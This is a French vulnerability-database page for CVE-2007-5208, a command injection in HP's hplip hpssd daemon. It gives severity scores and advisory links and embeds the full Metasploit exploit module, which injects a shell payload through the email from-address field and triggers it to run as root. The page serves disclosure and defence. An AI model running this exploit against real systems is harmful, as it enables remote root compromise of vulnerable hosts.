CVE-2007-5208 : Détail

CVE-2007-5208

A03-Injection
73.52%V4
Network
2007-10-12
22h00 +00:00
2018-10-03
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

hpssd in Hewlett-Packard Linux Imaging and Printing Project (hplip) 1.x and 2.x before 2.7.10 allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a from address, which is not properly handled when invoking sendmail.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16837

Date de publication : 2010-10-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'hplip hpssd.py From Address Arbitrary Command Execution', 'Description' => %q{ This module exploits a command execution vulnerable in the hpssd.py daemon of the Hewlett-Packard Linux Imaging and Printing Project. According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable. This module was written and tested using the Fedora 6 Linux distribution. On the test system, the daemon listens on localhost only and runs with root privileges. Although the configuration shows the daemon is to listen on port 2207, it actually listens on a dynamic port. NOTE: If the target system does not have a 'sendmail' command installed, this vulnerability cannot be exploited. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10617 $', 'References' => [ [ 'CVE', '2007-5208' ], [ 'OSVDB', '41693' ], [ 'BID', '26054' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ], [ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', # *_perl and *_ruby work if they are installed # inetd isn't used on FC6/7 (xinetd is) # netcat doesn't have -e by default } }, 'Targets' => [ [ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 04 2007' )) register_options( [ Opt::RPORT(2207), ], self.class) end def exploit connect #cmd = "nohup " + payload.encoded cmd = payload.encoded username = 'root' toaddr = 'nosuchuser' # first setalerts print_status("Sending 'setalerts' request with encoded command line...") msg = "username=#{username}\n" + "email-alerts=1\n" + #"email-from-address=`#{cmd}`\n" + "email-from-address=x;#{cmd};\n" + "email-to-addresses=#{toaddr}\n" + "msg=setalerts\n" sock.put(msg) # next, the test email command print_status("Sending 'testemail' request to trigger execution...") msg = "msg=testemail\n" sock.put(msg) end end

Products Mentioned

Configuraton 0

Hp>>Linux_imaging_and_printing_project >> Version To (including) 2.7.10

Hp>>Linux_imaging_and_printing_project >> Version 1.0

Références

http://www.vupen.com/english/advisories/2007/3479
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/27271
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27202
Tags : third-party-advisory, x_refsource_SECUNIA
https://launchpad.net/bugs/149121
Tags : x_refsource_MISC
http://secunia.com/advisories/27224
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27221
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200710-26.xml
Tags : vendor-advisory, x_refsource_GENTOO
https://usn.ubuntu.com/530-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2008/dsa-1462
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/28453
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27397
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1018806
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/26054
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/27332
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27232
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2007-0960.html
Tags : vendor-advisory, x_refsource_REDHAT